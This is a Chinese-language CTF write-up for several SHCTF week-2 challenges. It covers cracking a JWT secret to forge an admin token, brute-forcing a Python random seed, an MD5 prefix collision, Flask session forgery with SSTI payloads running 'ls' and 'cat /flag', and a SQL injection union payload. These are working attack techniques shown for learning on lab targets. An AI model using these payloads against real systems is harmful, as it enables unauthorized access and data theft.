SHCTF-week2-复现

SHCTF-week2-复现

[Week2]登录验证

点进去给了个登录页面,试试admin,admin显示“你不是真正的admin”

你不是真正的admin.jpg

抓包看到cookie的token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mjk1MjA3ODYsImlhdCI6MTcyOTUxMzU4NiwibmJmIjoxNzI5NTEzNTg2LCJyb2xlIjoidXNlciJ9.ZIBYI_XGX6BnHSgCByVoAaDKfP8EqDfpXtWxQDo9aq8

放jwt解密网站上

解密网站:https://jwt.io/

jwt网站.jpg

这边可以看到用户为user,但是这里直接改成admin的是不行的,从题目的描述可以知道这里修改的话需要密钥,题目说“666666”,猜测是个6位密码,这里需要用到jwt-cracker这个工具爆破一下

jwt-cracker:https://github.com/lmammino/jwt-cracker

jwtcracker.jpg

爆破出来密钥是222333,放回到jwt那个网站,然后修改用户为admin,复制所得的token,放到bp里发包就能看到flag了

jwt2.jpg

flag如下:flag.jpg

[Week2]guess_the_number

猜数字:

猜数字.jpg

这我猜集贸啊,看看源码先:

源码.jpg

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import flask
import random
from flask import Flask, request, render_template, send_file

app = Flask(__name__)

@app.route('/')
def index():
return render_template('index.html', first_num = first_num)

@app.route('/s0urce')
def get_source():
file_path = "app.py"
return send_file(file_path, as_attachment=True)

@app.route('/first')
def get_first_number():
return str(first_num)

@app.route('/guess')
def verify_seed():
num = request.args.get('num')
if num == str(second_num):
with open("/flag", "r") as file:
return file.read()
return "nonono"

def init():
global seed, first_num, second_num
seed = random.randint(1000000,9999999)
random.seed(seed)
first_num = random.randint(1000000000,9999999999)
second_num = random.randint(1000000000,9999999999)

init()
app.run(debug=True)

从这个源码可以看到,这个数字是由random模块生成的,求出第二个数填入就能拿到flag了,random伪随机数是进行seed运算得到的,可以爆破

可以让gpt写个脚本,下面贴一下官方的:

1
2
3
4
5
6
7
8
9
10
import random

first_num = int(input(""))
for i in range(1000000,9999999,1):
random.seed(i)
num = random.randint(1000000000,9999999999)
if num == first_num:
second_num = random.randint(1000000000,9999999999)
print("second_num: " + str(second_num))
exit()

将脚本输出的数字填入就可以了

[Week1] MD5 Master

1.jpg

这题考查md5指定前缀绕过,使用fastcoll这个工具跑一下就行,指定的前缀为 MD5 Master! ,然后让gpt跑个脚本输出文本内容和md5值

php代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$a = file_get_contents("工具生成的2个文件的地址(1)"); #单个斜杠可能被认定为转义字符\ ⽤\\表示\
$b = file_get_contents("工具生成的2个文件的地址(2)");
if ($a === false) {
echo "⽆法读取 1.txt<br>";
} else {
echo urlencode($a) . "<br>";
echo md5($a) . "<br>";
}
if ($b === false) {
echo "⽆法读取 2.txt<br>";
} else {
echo urlencode($b) . "<br>";
echo md5($b) . "<br>";
}
?>

把这个代码输出出来的内容,去掉指定的前缀,然后使用bp传参(hackbar打不通)就可以了

flag.jpg

[Week2]入侵者禁入

考点:session伪造+SSTI模板注入

做这道题的时候发现fenjing好像是用不了的,只能另寻他路了,这道题需要伪造session,用到”flask-session-cookie-manager“这个工具

下载地址:https://github.com/noraj/flask-session-cookie-manager

1
2
3
4
5
6
7
->python flask_session_cookie_manager3.py decode -c "eyJyb2xlIjp7ImZsYWciOiJ5b3VyX2ZsYWdfaGVyZSIsImlzX2FkbWluIjowfX0.ZvZ8IQ.B9Q1a7gFQvzs4Q3bGldXuiGHULg" -s "0day_joker"

->python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("ls").read()}}', 'is_admin': 1}}"

->python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("ls /").read()}}', 'is_admin': 1}}"

->python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("cat /flag").read()}}', 'is_admin': 1}}"

[Week2]自助查询

payload:

-1”) union select 1,column_comment from information_schema.columns

对于这道题,我还不是很懂,怎么一步步注入出来的,先往后放放(